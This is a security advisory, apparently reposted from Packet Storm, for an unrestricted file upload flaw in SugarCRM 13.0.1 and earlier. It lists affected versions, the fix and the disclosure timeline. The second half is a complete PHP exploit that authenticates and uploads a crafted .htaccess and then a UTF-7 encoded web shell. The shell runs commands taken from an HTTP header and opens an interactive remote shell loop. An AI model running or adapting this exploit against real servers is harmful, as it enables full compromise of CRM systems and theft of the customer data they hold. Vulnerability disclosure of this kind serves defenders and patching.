SugarCRM 13.0.1 Shell Upload

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SugarCRM <= 13.0.1 (set_note_attachment) Unrestricted File Upload 
Vulnerability
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[-] Software Link:

https://www.sugarcrm.com


[-] Affected Versions:

Version 13.0.1 and prior versions.
Version 12.0.3 and prior versions.


[-] Vulnerability Description:

When handling the "set_note_attachment" SOAP call, the application 
allows uploading of
any kind of file into /upload/ directory. This one is protected by the 
main SugarCRM
.htaccess file, i.e. it doesn't allow access/execution of PHP files. 
However, this
behavior can be overridden if the subdirectory contains another 
.htaccess file.
So, an attacker can leverage the vulnerability to firstly upload a new 
.htaccess
file and then to upload the PHP code they want to execute.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/KIS-2023-11.php

(Packet Storm note: POC included at bottom)

[-] Solution:

Upgrade to version 13.0.2, 12.0.4, or later.


[-] Disclosure Timeline:

[23/04/2023] - Vendor notified
[21/09/2023] - Fixed versions released
[06/10/2023] - CVE identifier requested
[26/10/2023] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-11


[-] Other References:

https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-011/


--- KIS-2023-11.php poc ---


<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!n");

if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>n");

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'n";

$ch = curl_init();

$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!n");

print "[+] Creating new Notes bean (ID: .htaccess)n";

$note_id = ".htaccess";

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));

if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!n");

print "[+] Creating new Notes bean (ID: sh.php)n";

$note_id = "sh.php";

curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));

if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!n");

require_once("./lib/nusoap.php");
$client = new nusoap_client("{$url}soap.php", false);

if (($err = $client->getError()))
{
  echo "nConstructor error: $err";
  echo "nDebug: " . $client->getDebug() . "n";
  die();
}

print "[+] Sending SOAP login requestn";

$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];
$session = $client->call('login', $params);

if ($session['id'] == -1) die("[+] SOAP login failed!n");

print "[+] Uploading .htaccess through 'set_note_attachment'n";

$htaccess = "RewriteEngine onnRewriteBase /uploadnRewriteRule ^(.*)$ - [L]nphp_flag zend.multibyte 1nphp_value zend.script_encoding "UTF-7"";
$params = ["session" => $session['id'], "note" => ["id" => ".htaccess", "file" => base64_encode($htaccess)]];

$client->call("set_note_attachment", $params);

print "[+] Uploading shell through 'set_note_attachment'n";

$shell = "+ADw?php passthru($_SERVER['HTTP_CMD']); ?>";
$params = ["session" => $session['id'], "note" => ["id" => "sh.php", "file" => base64_encode($shell)]];

$client->call("set_note_attachment", $params);

print "[+] Launching shelln";

curl_setopt($ch, CURLOPT_URL, "{$url}upload/sh.php");

while(1)
{
    print "nsugar-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd]);
    ($r = curl_exec($ch)) ? print $r : die("n[+] Exploit failed!n");
}